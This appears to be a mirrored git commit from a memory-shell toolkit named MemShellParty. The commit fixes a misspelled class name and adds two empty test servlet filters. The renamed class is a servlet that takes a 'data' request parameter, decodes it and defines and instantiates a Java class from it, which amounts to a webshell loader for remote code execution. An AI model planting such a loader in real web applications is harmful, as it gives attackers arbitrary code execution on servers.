mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
feat: support servletNameFilter for TomcatFilterProbe
This commit is contained in:
+4
-4
@@ -5,12 +5,12 @@ import java.io.IOException;
|
||||
* @author Wans
|
||||
* @since 2025/08/25
|
||||
*/
|
||||
public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet {
|
||||
public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet {
|
||||
|
||||
public BigIntegerClassLaoderServlet() {
|
||||
public BigIntegerClassLoaderServlet() {
|
||||
}
|
||||
|
||||
protected BigIntegerClassLaoderServlet(ClassLoader parent) {
|
||||
protected BigIntegerClassLoaderServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@@ -29,7 +29,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
byte[] bytes = decodeBigInteger(data);
|
||||
new BigIntegerClassLaoderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
new BigIntegerClassLoaderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/11
|
||||
*/
|
||||
public class ServletNameTestFilter implements Filter {
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
chain.doFilter(request, response);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -5,7 +5,7 @@ import java.io.IOException;
|
||||
* @author ReaJason
|
||||
* @since 2025/1/3
|
||||
*/
|
||||
public class EmptyFilter implements Filter {
|
||||
public class UrlMappingTestFilter implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
Reference in New Issue
Block a user